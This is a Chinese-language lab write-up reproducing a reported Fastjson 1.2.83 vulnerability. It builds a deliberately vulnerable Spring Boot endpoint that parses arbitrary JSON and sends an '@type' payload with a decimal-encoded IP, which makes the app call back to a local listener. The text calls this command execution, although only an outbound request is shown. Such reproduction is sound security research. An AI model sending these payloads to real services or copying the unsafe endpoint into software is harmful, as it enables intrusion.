1. 漏洞介绍

Fastjson 是阿里巴巴开源的一款高性能 Java JSON 解析库,支持将 Java 对象序列化为 JSON 字符串以及将 JSON 字符串反序列化为 Java 对象。该库凭借其出色的解析性能和简洁的 API 设计,在国内 Java 生态系统中占据主导地位,被广泛应用于企业级后端服务、微服务网关、数据接口层、缓存序列化以及日志处理等核心生产场景,是国内 Java 开发者最常用的 JSON 处理组件之一。
近期fastjson被爆出有CVE,能够做到RCE,阿里官方库也报了相应的情况

2. 漏洞复现

2.1 环境构建

目录结构:

fastjson-cve-lab/
├─ pom.xml
└─ src/main/
   ├─ java/lab/Application.java
   └─ resources/application.properties

pom.xml内容:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
         https://maven.apache.org/xsd/maven-4.0.0.xsd">

    <modelVersion>4.0.0</modelVersion>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.18</version>
    </parent>

    <groupId>lab</groupId>
    <artifactId>fastjson-cve-lab</artifactId>
    <version>0.0.1-SNAPSHOT</version>

    <properties>
        <java.version>17</java.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <!-- 漏洞版本 -->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.83</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

src/main/java/lab/Application.java:

package lab;

import com.alibaba.fastjson.JSON;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;

@SpringBootApplication
@RestController
public class Application {

    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }

    @PostMapping(value = "/parse", consumes = "application/json")
    public String parse(@RequestBody String body) {
        try {
            JSON.parse(body);
            return "parsed";
        } catch (Exception e) {
            return e.getClass().getName() + ": " + e.getMessage();
        }
    }
}

src/main/resources/application.properties:

server.address=127.0.0.1
server.port=8080

确保内容已经填充后,使用mvn进行打包:

mvn -q -DskipTests clean package
mvn dependency:tree "-Dincludes=com.alibaba:fastjson"
20260803233106.png

2.2 实际验证

确保构建的包没有出问题:

jar tf .\target\fastjson-cve-lab-0.0.1-SNAPSHOT.jar |
    Select-String "BOOT-INF/lib/fastjson"
20260803233211.png

启动构建的java包:

java -jar .\target\fastjson-cve-lab-0.0.1-SNAPSHOT.jar

因为在windows下复现该漏洞,不想多做折腾,为了验证该服务确实执行了我注入的命令,我在本地起了一个http服务器

python -m http.server 31337 --bind 127.0.0.1

如果本地服务器能够收到来自fastjson应用的请求,说明命令执行成功了(并没有考虑完整的利用方法,仅复现)
现在对fastjson应用发送请求:

$body = '{"@type":"http://2130706433:31337/probe"}'

Invoke-WebRequest `
  -Uri "http://127.0.0.1:8080/parse" `
  -Method Post `
  -ContentType "application/json" `
  -Body $body
20260804000009.png

说明fastjson应用解析了我的恶意请求,朝着我自己启动的python服务器发送了请求。